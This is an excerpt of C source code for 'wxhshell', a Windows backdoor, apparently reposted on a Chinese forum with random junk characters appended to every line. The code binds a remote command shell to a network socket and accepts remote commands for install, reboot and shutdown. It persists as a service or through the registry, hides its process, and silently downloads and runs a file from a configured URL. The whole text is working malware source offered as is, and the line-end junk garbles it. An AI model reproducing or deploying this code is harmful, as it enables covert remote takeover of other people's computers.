  else { sVoW =4V8  
{kLGWbo|Q  
    switch(cmd[0]) { D6~+Y~R  
  8L5!T6+D&  
  // 帮助 3ta$L"a  
  case '?': { ?X9]HlH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Cs@ +r  
    break; 6al=Cwf  
  } #.5vC5  
  // 安装 S'U@X  
  case 'i': { zSv^<`X3  
    if(Install()) tfkr+ /  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a$9A(Pte  
    else r7]"?#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mxFn7.|r~  
    break; =q(GHg;'  
    } w %c  
  // 卸载 maSgRf[g  
  case 'r': { J^m<*  
    if(Uninstall()) sT1&e5`W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~vgA7E/XV  
    else 7OVbP%n)d2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I,ci >/+b  
    break; _2hXa!yO  
    } PfG`C5 d  
  // 显示 wxhshell 所在路径 ,WWj-X|+=  
  case 'p': { ]lS@}W\  
    char svExeFile[MAX_PATH]; P2 0|RvE  
    strcpy(svExeFile,"\n\r"); k_GP> b\"k  
      strcat(svExeFile,ExeFile); YCy22@C  
        send(wsh,svExeFile,strlen(svExeFile),0); PoShQR<  
    break; t~M $%)h  
    } ]Z4zF"@  
  // 重启 R^MiP|?ZH  
  case 'b': { C+K=[   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Vv*NFJ|  
    if(Boot(REBOOT)) T~gW3J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VY+>=!  
    else { !asqr1/  
    closesocket(wsh); zzZg$9PT[  
    ExitThread(0); ]M,06P>?  
    } wk\L*\@Y}  
    break; XTqm]  
    } kGN||h  
  // 关机 pKJK9@Ad  
  case 'd': { LD(C\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DFe;4BdC  
    if(Boot(SHUTDOWN)) TSL9ax4j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7\/5r.  
    else { 4p)e}W*  
    closesocket(wsh); ~# 7wdP  
    ExitThread(0); uCzii o`S  
    } Y:x/!-  
    break; O.k \]'  
    } zuL7%qyv  
  // 获取shell 0y %L-:/c|  
  case 's': { N dR ]  
    CmdShell(wsh); r$nkU4N'  
    closesocket(wsh); h3Fo-]0  
    ExitThread(0); FA>1x*;c  
    break; u/AT-e r;  
  } |V`S >m%N  
  // 退出 Sl~x$9`  
  case 'x': { X QbNH~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L2-^! '  
    CloseIt(wsh); mog9jw  
    break; @qK<T  
    } 5)+F(  
  // 离开 mVm4fHEYwU  
  case 'q': { Rt= X% [YL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hSqMaX%G  
    closesocket(wsh); 2HOe__Ns  
    WSACleanup(); M?o{STt  
    exit(1); FMu!z  
    break; ;Gm>O7"|@  
        } !Qu PG/=X  
  } `?o=*OS7Y  
  } H`<?<ak6'M  
sms1%%~  
  // 提示信息 8?jxDW a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bY#;E;'7  
} _|n=cC4Qu  
  } \3{3ly~L  
c<qe[iyt/  
  return; VEh]p5D  
} RR>G]#k  
N&;\PfG  
// shell模块句柄 _J"mR]I+  
int CmdShell(SOCKET sock) mf4z?G@6  
{ fwmLJ5o N  
STARTUPINFO si; wz@FrRP=  
ZeroMemory(&si,sizeof(si)); ^!>.97*   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0K3Hf^>m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^eTZn[qH>w  
PROCESS_INFORMATION ProcessInfo; =g0*MZ;"  
char cmdline[]="cmd"; bf98B4<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cS~!8`Fwy  
  return 0; G:Hj;&'2  
} \8_V(lU   
nGZ \<-  
// 自身启动模式 u 2lX d'  
int StartFromService(void) z<QIuq  
{ $y6rvQ 2>S  
typedef struct 75(W(V(q  
{ m'.T2e.u  
  DWORD ExitStatus; 4 ?2g&B\  
  DWORD PebBaseAddress; 7&t~R}&|  
  DWORD AffinityMask; r } 7:#XQ  
  DWORD BasePriority; C5B=NAc  
  ULONG UniqueProcessId; T5{T[YdX<  
  ULONG InheritedFromUniqueProcessId; DB Xm  
}   PROCESS_BASIC_INFORMATION; oQBiPN+v.3  
}wkaQQh  
PROCNTQSIP NtQueryInformationProcess; E8;TLk4\  
ho|  8U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gN\*Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ris;Iu^v0  
%g-0O#8}  
  HANDLE             hProcess; P7Z<0Dt\}  
  PROCESS_BASIC_INFORMATION pbi; BGA%"b  
G* Ib^;$u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~"5C${~{  
  if(NULL == hInst ) return 0; z qO$  
Lkp&;+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0i _  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b7qnO jC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m\} =4b  
!a)s`  
  if (!NtQueryInformationProcess) return 0; $*aE$O6l  
As p8qHS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J{^n=X9M0J  
  if(!hProcess) return 0; /\TlO.B=  
rN'.&;Y5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7zi"caY  
j$%yw4dsj  
  CloseHandle(hProcess); )j(fWshP  
B{N=0 cSi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ha ik  
if(hProcess==NULL) return 0; w+3>DEfz  
u,!4vKx  
HMODULE hMod; ?bn;{c;E  
char procName[255]; CElPU`J,\[  
unsigned long cbNeeded; /W?z0tk`  
&KOO&,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Wu]/(F  
y 2cL2c$BT  
  CloseHandle(hProcess); u& AQl.u  
`J]<_0kX}%  
if(strstr(procName,"services")) return 1; // 以服务启动  Q;Q  
hQP6@KIe)  
  return 0; // 注册表启动 o9~h%&  
} `6n!$Cxo  
qYDj*wqf  
// 主模块 PGMv(}%;  
int StartWxhshell(LPSTR lpCmdLine) % Mw'e/?  
{ T&mbXMN  
  SOCKET wsl; +i_'gDy$  
BOOL val=TRUE; T^+1rG  
  int port=0; q!9^#c  
  struct sockaddr_in door; h<Jc;ht  
tu7+LwF7  
  if(wscfg.ws_autoins) Install(); {rtM%%l  
x$*E\/zi<!  
port=atoi(lpCmdLine); K:Mujx:  
,uKs>T^  
if(port<=0) port=wscfg.ws_port; /kAwe *)  
BQ5_s,VM  
  WSADATA data; b-,]A2.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zZ<ns+h  
D l4d'&!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \}U[}5Pk&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wK2yt?  
  door.sin_family = AF_INET; <[/PyNYK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]VzqQ=U%  
  door.sin_port = htons(port); p6B .s_G4  
l@~1CMyN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r94j+$7  
closesocket(wsl); Y1m}@k,+M  
return 1; |R[v@c`pn  
} J2)-cY5G  
Wk0>1 rlu  
  if(listen(wsl,2) == INVALID_SOCKET) { x:=0.l#  
closesocket(wsl); AlA h S<  
return 1; AB/,S  
} FGV}5L  
  Wxhshell(wsl); ',L{CQA?c  
  WSACleanup(); s$js5 ou  
k, $I59  
return 0; 4!NfQk>X  
J(3gT }z-  
} T_(qN;_  
*(@L+D0N  
// 以NT服务方式启动 i#CaKS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jc${.?m  
{ ._8xY$l$  
DWORD   status = 0; aW52.X z%8  
  DWORD   specificError = 0xfffffff; j|3g(_v4W  
o+]Y=r2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CpUI|Rs  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g5lmUKlQ$0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^zBjG/'7  
  serviceStatus.dwWin32ExitCode     = 0; bE VO<x+  
  serviceStatus.dwServiceSpecificExitCode = 0; '*o7_Ez-{  
  serviceStatus.dwCheckPoint       = 0; .Z(S4wV  
  serviceStatus.dwWaitHint       = 0; stf,<W  
+a7EsR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U:s} /to  
  if (hServiceStatusHandle==0) return; 5KL9$J9k  
<^H1)=tlF  
status = GetLastError(); Bf D,z  
  if (status!=NO_ERROR) \O8Y3|<  
{ m1~qaD<DZ$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fW_}!`:  
    serviceStatus.dwCheckPoint       = 0; d~togTs1  
    serviceStatus.dwWaitHint       = 0; yYxeNE"  
    serviceStatus.dwWin32ExitCode     = status; c n\k`8  
    serviceStatus.dwServiceSpecificExitCode = specificError; f_Wkg)g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +YGw4{\EL  
    return; _A@fP[C  
  } zhVa.r A  
G\'u~B/w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ` <l/GwtAJ  
  serviceStatus.dwCheckPoint       = 0; 2eZk3_w  
  serviceStatus.dwWaitHint       = 0; PfwI@%2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $V`KrA~]  
} WH pUjyBP  
,7n;|1`  
// 处理NT服务事件,比如:启动、停止 3{2^G@j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @%I_&!d  
{ >?\v@   
switch(fdwControl) $UFge%`,q@  
{ EI?d(K  
case SERVICE_CONTROL_STOP: X/- W8  
  serviceStatus.dwWin32ExitCode = 0; fD3jwPL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,ZzB#\  
  serviceStatus.dwCheckPoint   = 0; )vEHLp.  
  serviceStatus.dwWaitHint     = 0; Y|GJp h  
  { |Ak =-.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4~m.#6MT  
  } /pAm8vK   
  return; J1gEjd   
case SERVICE_CONTROL_PAUSE: %2rHvF=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =sUl`L+w,L  
  break; lRa 3v Ng  
case SERVICE_CONTROL_CONTINUE: c&| '3i+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; . BYKdxa  
  break; d'Ik@D]I  
case SERVICE_CONTROL_INTERROGATE: Xh7~MU~X  
  break; t+W=2w&  
}; TQOg~lH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S:2u3th7  
} `uM0,Z  
6)uPM"cO  
// 标准应用程序主函数 !i~x"1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g~ppPAH  
{ n,Yr!W:h  
?[hy|r6$  
// 获取操作系统版本 2 0Cie q  
OsIsNt=GetOsVer(); (T%F!2i([U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !TV_dKa  
&(H)gjH  
  // 从命令行安装 %ojR?=ON  
  if(strpbrk(lpCmdLine,"iI")) Install(); -$L],q_S^  
|5<& r]xN  
  // 下载执行文件 =,>TpE  
if(wscfg.ws_downexe) { 'Ec:l(2Ec  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @~!-a s7  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6`s%%v  
} -A-hxK*^  
</+%R"`  
if(!OsIsNt) { !%Hl#Pv}  
// 如果时win9x,隐藏进程并且设置为注册表启动 (A]m=  
HideProc(); 9J2q`/6~e  
StartWxhshell(lpCmdLine); ;mo\ yW1  
} Wd^F%)(  
else Bah.\ZsYQP  
  if(StartFromService()) ; $ ?jR c  
  // 以服务方式启动 oM18aR&  
  StartServiceCtrlDispatcher(DispatchTable); #iR yjD  
else U&]p!DV&;  
  // 普通方式启动 +LI*!(T|lm  
  StartWxhshell(lpCmdLine); 5E\<r /FeJ  
Jm);|#y  
return 0; /BjGAa(  
}
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只看该作者 1 发表于: 2006-10-10
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